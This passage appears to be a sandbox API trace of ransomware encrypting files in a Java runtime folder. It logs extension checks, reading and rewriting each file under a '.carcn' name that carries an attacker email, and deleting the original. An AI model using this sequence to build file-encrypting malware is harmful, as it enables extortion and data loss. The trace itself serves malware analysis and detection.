Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0263.172] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0263.172] lstrlenW (lpString=".doc") returned 4 [0263.172] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0263.172] lstrlenW (lpString=".docx") returned 5 [0263.172] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0263.172] lstrlenW (lpString=".pdf") returned 4 [0263.172] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0263.172] lstrlenW (lpString=".xls") returned 4 [0263.172] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0263.172] lstrlenW (lpString=".xlsx") returned 5 [0263.172] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0263.172] lstrlenW (lpString=".ppt") returned 4 [0263.172] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0263.172] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0263.172] lstrlenW (lpString=".zip") returned 4 [0263.172] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0263.172] lstrlenW (lpString=".rar") returned 4 [0263.172] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0263.172] lstrlenW (lpString=".bz2") returned 4 [0263.173] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0263.173] lstrlenW (lpString=".7z") returned 3 [0263.173] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0263.173] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0263.173] lstrlenW (lpString=".dbf") returned 4 [0263.173] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0263.173] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0263.173] lstrlenW (lpString=".1cd") returned 4 [0263.173] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0263.173] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0263.173] lstrlenW (lpString=".jpg") returned 4 [0263.173] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0263.173] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0263.173] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0263.173] lstrlenW (lpString=".doc") returned 4 [0263.173] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0263.173] lstrlenW (lpString=".docx") returned 5 [0263.173] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0263.173] lstrlenW (lpString=".pdf") returned 4 [0263.173] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0263.173] lstrlenW (lpString=".xls") returned 4 [0263.173] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0263.173] lstrlenW (lpString=".xlsx") returned 5 [0263.174] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0263.174] lstrlenW (lpString=".ppt") returned 4 [0263.174] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0263.174] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0263.174] lstrlenW (lpString=".zip") returned 4 [0263.174] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0263.174] lstrlenW (lpString=".rar") returned 4 [0263.174] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0263.174] lstrlenW (lpString=".bz2") returned 4 [0263.174] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0263.174] lstrlenW (lpString=".7z") returned 3 [0263.174] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0263.174] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0263.174] lstrlenW (lpString=".dbf") returned 4 [0263.174] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0263.174] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0263.174] lstrlenW (lpString=".1cd") returned 4 [0263.174] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0263.174] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0263.174] lstrlenW (lpString=".jpg") returned 4 [0263.174] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0263.175] lstrcmpiW (lpString1=".jar", lpString2=".carcn") returned 1 [0263.175] lstrlenW (lpString="cldrdata.jar") returned 12 [0263.175] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0263.187] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=3860502) returned 1 [0263.187] CloseHandle (hObject=0x528) returned 1 [0263.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar")) returned 0x20 [0263.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.188] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0263.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0263.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0263.188] lstrlenW (lpString=".doc") returned 4 [0263.188] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0263.188] lstrlenW (lpString=".docx") returned 5 [0263.188] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0263.188] lstrlenW (lpString=".pdf") returned 4 [0263.188] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0263.188] lstrlenW (lpString=".xls") returned 4 [0263.188] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0263.188] lstrlenW (lpString=".xlsx") returned 5 [0263.188] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0263.188] lstrlenW (lpString=".ppt") returned 4 [0263.188] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0263.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0263.188] lstrlenW (lpString=".zip") returned 4 [0263.189] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0263.189] lstrlenW (lpString=".rar") returned 4 [0263.189] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0263.189] lstrlenW (lpString=".bz2") returned 4 [0263.189] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0263.189] lstrlenW (lpString=".7z") returned 3 [0263.189] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0263.189] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0263.189] lstrlenW (lpString=".dbf") returned 4 [0263.189] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0263.189] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0263.189] lstrlenW (lpString=".1cd") returned 4 [0263.189] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0263.189] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0263.189] lstrlenW (lpString=".jpg") returned 4 [0263.189] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0263.189] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0263.189] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0263.189] lstrlenW (lpString=".doc") returned 4 [0263.189] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0263.189] lstrlenW (lpString=".docx") returned 5 [0263.189] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0263.189] lstrlenW (lpString=".pdf") returned 4 [0263.189] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0263.189] lstrlenW (lpString=".xls") returned 4 [0263.190] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0263.190] lstrlenW (lpString=".xlsx") returned 5 [0263.743] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0263.743] lstrlenW (lpString=".ppt") returned 4 [0263.743] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0263.743] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0263.744] lstrlenW (lpString=".zip") returned 4 [0263.744] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0263.744] lstrlenW (lpString=".rar") returned 4 [0263.744] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0263.744] lstrlenW (lpString=".bz2") returned 4 [0263.744] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0263.744] lstrlenW (lpString=".7z") returned 3 [0263.744] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0263.744] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0263.744] lstrlenW (lpString=".dbf") returned 4 [0263.744] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0263.744] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0263.744] lstrlenW (lpString=".1cd") returned 4 [0263.744] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0263.744] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0263.744] lstrlenW (lpString=".jpg") returned 4 [0263.744] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0263.744] lstrcmpiW (lpString1=".jar", lpString2=".carcn") returned 1 [0263.744] lstrlenW (lpString="sunpkcs11.jar") returned 13 [0263.744] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0263.745] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=251327) returned 1 [0263.745] CloseHandle (hObject=0x54c) returned 1 [0263.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 0x20 [0263.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.746] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0263.746] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.746] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.746] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0263.747] GetLastError () returned 0x0 [0263.747] ReadFile (in: hFile=0x54c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x3d5bf, lpOverlapped=0x0) returned 1 [0263.801] WriteFile (in: hFile=0x524, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x3d5c0, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x3d5c0, lpOverlapped=0x0) returned 1 [0263.816] ReadFile (in: hFile=0x54c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0263.816] WriteFile (in: hFile=0x524, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xee, lpOverlapped=0x0) returned 1 [0263.816] SetEndOfFile (hFile=0x524) returned 1 [0263.816] CloseHandle (hObject=0x524) returned 1 [0263.830] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.830] SetEndOfFile (hFile=0x54c) returned 1 [0263.898] CloseHandle (hObject=0x54c) returned 1 [0263.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0264.665] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 1 [0264.820] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0264.820] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0264.820] lstrlenW (lpString=".doc") returned 4 [0264.820] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0264.820] lstrlenW (lpString=".docx") returned 5 [0264.820] lstrcmpiW (lpString1=".docx", lpString2="1.jar") returned -1 [0264.820] lstrlenW (lpString=".pdf") returned 4 [0264.820] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0264.820] lstrlenW (lpString=".xls") returned 4 [0264.820] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0264.820] lstrlenW (lpString=".xlsx") returned 5 [0264.820] lstrcmpiW (lpString1=".xlsx", lpString2="1.jar") returned -1 [0264.820] lstrlenW (lpString=".ppt") returned 4 [0264.820] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0264.820] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0264.820] lstrlenW (lpString=".zip") returned 4 [0264.820] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0264.820] lstrlenW (lpString=".rar") returned 4 [0264.820] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0264.820] lstrlenW (lpString=".bz2") returned 4 [0264.820] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0264.820] lstrlenW (lpString=".7z") returned 3 [0264.820] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0264.820] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0264.820] lstrlenW (lpString=".dbf") returned 4 [0264.820] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0264.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0264.821] lstrlenW (lpString=".1cd") returned 4 [0264.821] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0264.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0264.821] lstrlenW (lpString=".jpg") returned 4 [0264.821] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0264.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0264.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0264.821] lstrlenW (lpString=".doc") returned 4 [0264.821] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0264.821] lstrlenW (lpString=".docx") returned 5 [0264.821] lstrcmpiW (lpString1=".docx", lpString2="1.jar") returned -1 [0264.821] lstrlenW (lpString=".pdf") returned 4 [0264.821] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0264.821] lstrlenW (lpString=".xls") returned 4 [0264.821] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0264.821] lstrlenW (lpString=".xlsx") returned 5 [0264.821] lstrcmpiW (lpString1=".xlsx", lpString2="1.jar") returned -1 [0264.821] lstrlenW (lpString=".ppt") returned 4 [0264.821] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0264.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0264.821] lstrlenW (lpString=".zip") returned 4 [0264.821] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0264.821] lstrlenW (lpString=".rar") returned 4 [0264.821] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0264.821] lstrlenW (lpString=".bz2") returned 4 [0264.821] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0264.821] lstrlenW (lpString=".7z") returned 3 [0264.821] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0264.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0264.821] lstrlenW (lpString=".dbf") returned 4 [0264.821] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0264.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0264.822] lstrlenW (lpString=".1cd") returned 4 [0264.822] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0264.822] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0264.822] lstrlenW (lpString=".jpg") returned 4 [0264.822] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0264.822] lstrcmpiW (lpString1=".ttf", lpString2=".carcn") returned 1 [0264.822] lstrlenW (lpString="LucidaBrightRegular.ttf") returned 23 [0264.822] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0264.895] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=344908) returned 1 [0264.895] CloseHandle (hObject=0x558) returned 1 [0264.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 0x20 [0264.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0264.896] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0264.896] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.896] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.896] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0264.897] GetLastError () returned 0x0 [0264.897] ReadFile (in: hFile=0x558, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x5434c, lpOverlapped=0x0) returned 1 [0264.979] WriteFile (in: hFile=0x54c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x54350, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x54350, lpOverlapped=0x0) returned 1 [0264.985] ReadFile (in: hFile=0x558, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0264.985] WriteFile (in: hFile=0x54c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x102, lpOverlapped=0x0) returned 1 [0264.985] SetEndOfFile (hFile=0x54c) returned 1 [0264.985] CloseHandle (hObject=0x54c) returned 1 [0265.000] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.000] SetEndOfFile (hFile=0x558) returned 1 [0265.016] CloseHandle (hObject=0x558) returned 1 [0265.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0265.018] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 1 [0265.019] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0265.019] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0265.019] lstrlenW (lpString=".doc") returned 4 [0265.019] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0265.019] lstrlenW (lpString=".docx") returned 5 [0265.019] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0265.019] lstrlenW (lpString=".pdf") returned 4 [0265.019] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0265.019] lstrlenW (lpString=".xls") returned 4 [0265.019] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0265.019] lstrlenW (lpString=".xlsx") returned 5 [0265.019] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0265.019] lstrlenW (lpString=".ppt") returned 4 [0265.019] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0265.019] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0265.019] lstrlenW (lpString=".zip") returned 4 [0265.019] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0265.019] lstrlenW (lpString=".rar") returned 4 [0265.019] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0265.020] lstrlenW (lpString=".bz2") returned 4 [0265.020] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0265.020] lstrlenW (lpString=".7z") returned 3 [0265.020] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0265.020] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0265.020] lstrlenW (lpString=".dbf") returned 4 [0265.020] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0265.020] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0265.020] lstrlenW (lpString=".1cd") returned 4 [0265.020] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0265.020] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0265.020] lstrlenW (lpString=".jpg") returned 4 [0265.020] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0265.020] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0265.020] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0265.020] lstrlenW (lpString=".doc") returned 4 [0265.020] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0265.020] lstrlenW (lpString=".docx") returned 5 [0265.020] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0265.020] lstrlenW (lpString=".pdf") returned 4 [0265.020] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0265.020] lstrlenW (lpString=".xls") returned 4 [0265.020] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0265.020] lstrlenW (lpString=".xlsx") returned 5 [0265.020] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0265.020] lstrlenW (lpString=".ppt") returned 4 [0265.020] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0265.020] lstrlenW (lpString="C:\\Program 